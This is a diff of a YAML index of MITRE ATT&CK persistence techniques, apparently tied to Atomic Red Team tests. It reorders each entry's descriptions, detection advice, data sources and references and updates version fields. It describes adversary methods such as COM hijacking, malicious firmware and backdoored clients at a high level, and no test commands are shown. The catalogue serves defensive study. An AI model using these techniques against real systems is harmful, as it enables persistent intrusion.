@@ -44060,62 +45299,62 @@ persistence:
         elevation_required: true
   T1136.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1136.003
-        url: https://attack.mitre.org/techniques/T1136/003
-      - source_name: Microsoft O365 Admin Roles
-        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
-        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
-          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
-      - source_name: Microsoft Support O365 Add Another Admin, October 2019
-        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
-        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
-      - source_name: AWS Create IAM User
-        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html
-        description: AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved
-          January 29, 2020.
-      - source_name: GCP Create Cloud Identity Users
-        url: https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554
-        description: Google. (n.d.). Create Cloud Identity user accounts. Retrieved
-          January 29, 2020.
-      - source_name: Microsoft Azure AD Users
-        url: https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory
-        description: Microsoft. (2019, November 11). Add or delete users using Azure
-          Active Directory. Retrieved January 30, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cloud Account
-      description: |-
-        Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)
-
-        Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.
-      id: attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b
       type: attack-pattern
+      name: Cloud Account
+      x_mitre_data_sources:
+      - 'User Account: User Account Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-03-16T12:47:00.192Z'
+      created: '2020-01-29T17:32:30.711Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-03-16T12:47:00.192Z'
-      created: '2020-01-29T17:32:30.711Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_detection: Collect usage logs from cloud user and administrator accounts
-        to identify unusual activity in the creation of new accounts and assignment
-        of roles to those accounts. Monitor for accounts assigned to admin roles that
-        go over a certain threshold of known admins.
-      x_mitre_data_sources:
-      - 'User Account: User Account Creation'
-      x_mitre_contributors:
-      - Praetorian
-      - Microsoft Threat Intelligence Center (MSTIC)
+      id: attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - IaaS
       - Google Workspace
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      description: |-
+        Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)
+
+        Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.
+      x_mitre_contributors:
+      - Praetorian
+      - Microsoft Threat Intelligence Center (MSTIC)
+      x_mitre_detection: Collect usage logs from cloud user and administrator accounts
+        to identify unusual activity in the creation of new accounts and assignment
+        of roles to those accounts. Monitor for accounts assigned to admin roles that
+        go over a certain threshold of known admins.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1136/003
+        external_id: T1136.003
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
+        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
+          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
+        source_name: Microsoft O365 Admin Roles
+      - url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
+        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
+        source_name: Microsoft Support O365 Add Another Admin, October 2019
+      - url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html
+        description: AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved
+          January 29, 2020.
+        source_name: AWS Create IAM User
+      - url: https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554
+        description: Google. (n.d.). Create Cloud Identity user accounts. Retrieved
+          January 29, 2020.
+        source_name: GCP Create Cloud Identity Users
+      - url: https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory
+        description: Microsoft. (2019, November 11). Add or delete users using Azure
+          Active Directory. Retrieved January 30, 2020.
+        source_name: Microsoft Azure AD Users
       identifier: T1136.003
     atomic_tests:
     - name: AWS - Create a new IAM user
@@ -44155,32 +45394,17 @@ persistence:
         elevation_required: false
   T1078.004:
     technique:
-      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
-      description: |-
-        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
-
-        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
-      name: Cloud Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.004
-        url: https://attack.mitre.org/techniques/T1078/004
-      - source_name: AWS Identity Federation
-        url: https://aws.amazon.com/identity/federation/
-        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
-          2020.
-      - source_name: Google Federating GC
-        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
-        description: Google. (n.d.). Federating Google Cloud with Active Directory.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Deploying AD Federation
-        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
-        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
-          in Azure. Retrieved March 13, 2020.
       type: attack-pattern
+      name: Cloud Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.3'
+      modified: '2021-10-18T17:48:05.659Z'
+      created: '2020-03-13T20:36:57.378Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -44190,25 +45414,43 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-03-16T12:45:15.399Z'
-      created: '2020-03-13T20:36:57.378Z'
+      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - SaaS
       - IaaS
       - Google Workspace
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
-        or malicious behavior, such as accessing information outside of the normal
-        function of the account or account usage at atypical hours.
+      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      description: |-
+        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
+
+        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
+        or malicious behavior, such as accessing information outside of the normal
+        function of the account or account usage at atypical hours.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/004
+        external_id: T1078.004
+        source_name: mitre-attack
+      - url: https://aws.amazon.com/identity/federation/
+        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
+          2020.
+        source_name: AWS Identity Federation
+      - url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
+        description: Google. (n.d.). Federating Google Cloud with Active Directory.
+          Retrieved March 13, 2020.
+        source_name: Google Federating GC
+      - url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
+        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
+          in Azure. Retrieved March 13, 2020.
+        source_name: Microsoft Deploying AD Federation
       identifier: T1078.004
     atomic_tests:
     - name: Creating GCP Service Account and Service Account Key
@@ -44267,81 +45509,84 @@ persistence:
 '
   T1542.002:
     technique:
-      created: '2019-12-19T20:21:21.669Z'
+      type: attack-pattern
       modified: '2020-03-23T23:48:33.904Z'
+      name: Component Firmware
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/002
+        external_id: T1542.002
+        source_name: mitre-attack
+      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
+          (S.M.A.R.T.). Retrieved October 2, 2018.
+        source_name: SanDisk SMART
+      - source_name: SmartMontools
+        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
+        url: https://www.smartmontools.org/
+      - source_name: ITWorld Hard Disk Health Dec 2014
+        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
+          health and make sure it's not already dying on you. Retrieved October 2,
+          2018.
+        url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
+      x_mitre_data_sources:
+      - 'Driver: Driver Metadata'
+      - 'Firmware: Firmware Modification'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      x_mitre_system_requirements:
+      - Ability to update component device firmware from the host operating system.
+      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Host intrusion prevention systems
+      - File monitoring
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      description: |-
+        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
+
+        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
-      description: |-
-        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
-
-        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
-      name: Component Firmware
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.002
-        url: https://attack.mitre.org/techniques/T1542/002
-      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
-          (S.M.A.R.T.). Retrieved October 2, 2018.
-        source_name: SanDisk SMART
-      - url: https://www.smartmontools.org/
-        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
-        source_name: SmartMontools
-      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
-        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
-          health and make sure it's not already dying on you. Retrieved October 2,
-          2018.
-        source_name: ITWorld Hard Disk Health Dec 2014
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Driver: Driver Metadata'
-      - 'Firmware: Firmware Modification'
-      - 'Process: OS API Execution'
       x_mitre_detection: |-
         Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.
 
         Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Host intrusion prevention systems
-      - File monitoring
-      x_mitre_permissions_required:
-      - SYSTEM
-      x_mitre_system_requirements:
-      - Ability to update component device firmware from the host operating system.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created: '2019-12-19T20:21:21.669Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1546.015:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.015
-        url: https://attack.mitre.org/techniques/T1546/015
-      - url: https://msdn.microsoft.com/library/ms694363.aspx
-        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
-          18, 2016.
-        source_name: Microsoft Component Object Model
-      - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
-        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
-          way of persistence. Retrieved August 13, 2016.'
-        source_name: GDATA COM Hijacking
-      - source_name: Elastic COM Hijacking
-        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
-          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
-        url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Component Object Model Hijacking
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:19:44.750Z'
+      created: '2020-03-16T14:12:47.923Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may establish persistence by executing malicious content
         triggered by hijacked references to Component Object Model (COM) objects.
         COM is a system within Windows to enable interaction between software components
@@ -44357,19 +45602,8 @@ persistence:
         that are used frequently enough to maintain a consistent level of persistence,
         but are unlikely to break noticeable functionality within the system as to
         avoid system instability that could lead to detection. "
-      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-11-10T18:19:44.750Z'
-      created: '2020-03-16T14:12:47.923Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Elastic
       x_mitre_detection: "There are opportunities to detect COM hijacking by searching
         for Registry references that have been replaced and through Registry operations
         (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary
@@ -44385,15 +45619,23 @@ persistence:
         if software DLL loads are collected and analyzed, any unusual DLL load that
         can be correlated with a COM object Registry modification may indicate COM
         hijacking has been performed. "
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      x_mitre_contributors:
-      - Elastic
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/015
+        external_id: T1546.015
+        source_name: mitre-attack
+      - source_name: Microsoft Component Object Model
+        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
+          18, 2016.
+        url: https://msdn.microsoft.com/library/ms694363.aspx
+      - source_name: GDATA COM Hijacking
+        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
+          way of persistence. Retrieved August 13, 2016.'
+        url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
+      - url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
+        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
+          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
+        source_name: Elastic COM Hijacking
       identifier: T1546.015
     atomic_tests:
     - name: COM Hijacking - InprocServer32
@@ -44454,72 +45696,71 @@ persistence:
         name: powershell
   T1554:
     technique:
-      created: '2020-02-11T18:18:34.279Z'
-      modified: '2020-03-27T14:49:58.249Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1554
-        url: https://attack.mitre.org/techniques/T1554
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Compromise Client Software Binary
-      description: |-
-        Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.
-
-        Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.
-      id: attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_detection: "Collect and analyze signing certificate metadata and check
-        signature validity on software that executes within the environment. Look
-        for changes to client software that do not correlate with known software or
-        patch cycles. \n\nConsider monitoring for anomalous behavior from client applications,
-        such as atypical module loads, file reads/writes, or network connections."
       x_mitre_data_sources:
       - 'File: File Modification'
       - 'File: File Creation'
       - 'File: File Deletion'
       - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2021-10-19T03:18:43.648Z'
+      created: '2020-02-11T18:18:34.279Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5
+      description: |-
+        Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.
+
+        Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.
       x_mitre_contributors:
       - CrowdStrike Falcon OverWatch
+      x_mitre_detection: "Collect and analyze signing certificate metadata and check
+        signature validity on software that executes within the environment. Look
+        for changes to client software that do not correlate with known software or
+        patch cycles. \n\nConsider monitoring for anomalous behavior from client applications,
+        such as atypical module loads, file reads/writes, or network connections."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1554
+        external_id: T1554
+        source_name: mitre-attack
     atomic_tests: []
   T1053.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.007
-        url: https://attack.mitre.org/techniques/T1053/007
-      - source_name: Kubernetes Jobs
-        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
-        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
-          30, 2021.
-      - source_name: Kubernetes CronJob
-        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
-        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
-          March 29, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Container Orchestration Job
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Container: Container Creation'
+      - 'File: File Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-27T17:38:17.146Z'
+      created: '2021-03-29T17:06:22.247Z'
+      x_mitre_contributors:
+      - Center for Threat-Informed Defense (CTID)
+      - Vishwas Manral, McAfee
+      - Yossi Weizman, Azure Defender Research Team
+      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
 
-        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
-      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
-      type: attack-pattern
+        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -44527,26 +45768,28 @@ persistence:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-12T18:09:46.821Z'
-      created: '2021-03-29T17:06:22.247Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_remote_support: true
       x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
         container orchestration environments. Use logging agents on Kubernetes nodes
         and retrieve logs from sidecar proxies for application and resource pods to
         monitor malicious container orchestration job deployments. '
-      x_mitre_contributors:
-      - Center for Threat-Informed Defense (CTID)
-      - Vishwas Manral, McAfee
-      - Yossi Weizman, Azure Defender Research Team
-      x_mitre_platforms:
-      - Containers
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Container: Container Creation'
-      - 'File: File Creation'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/007
+        external_id: T1053.007
+        source_name: mitre-attack
+      - url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
+        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
+          30, 2021.
+        source_name: Kubernetes Jobs
+      - url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
+        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
+          March 29, 2021.
+        source_name: Kubernetes CronJob
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
       identifier: T1053.007
     atomic_tests:
     - name: ListCronjobs
@@ -44622,40 +45865,19 @@ persistence:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1136
-        url: https://attack.mitre.org/techniques/T1136
-      - source_name: Microsoft User Creation Event
-        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
-          was created. Retrieved June 30, 2017.'
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
-      description: |-
-        Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
-
-        Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
-      name: Create Account
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-16T12:47:00.458Z'
-      created: '2017-12-14T16:46:06.044Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_contributors:
-      - Microsoft Threat Intelligence Center (MSTIC)
-      - Praetorian
-      x_mitre_version: '2.2'
+      name: Create Account
       x_mitre_data_sources:
       - 'User Account: User Account Creation'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
-      x_mitre_detection: |-
-        Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
-
-        Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.
+      x_mitre_version: '2.2'
+      modified: '2021-08-12T13:04:14.534Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -44664,30 +45886,55 @@ persistence:
       - Linux
       - macOS
       - Google Workspace
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - Administrator
+      description: |-
+        Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
+
+        Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
+      x_mitre_contributors:
+      - Microsoft Threat Intelligence Center (MSTIC)
+      - Praetorian
+      x_mitre_detection: |-
+        Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
+
+        Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1136
+        external_id: T1136
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
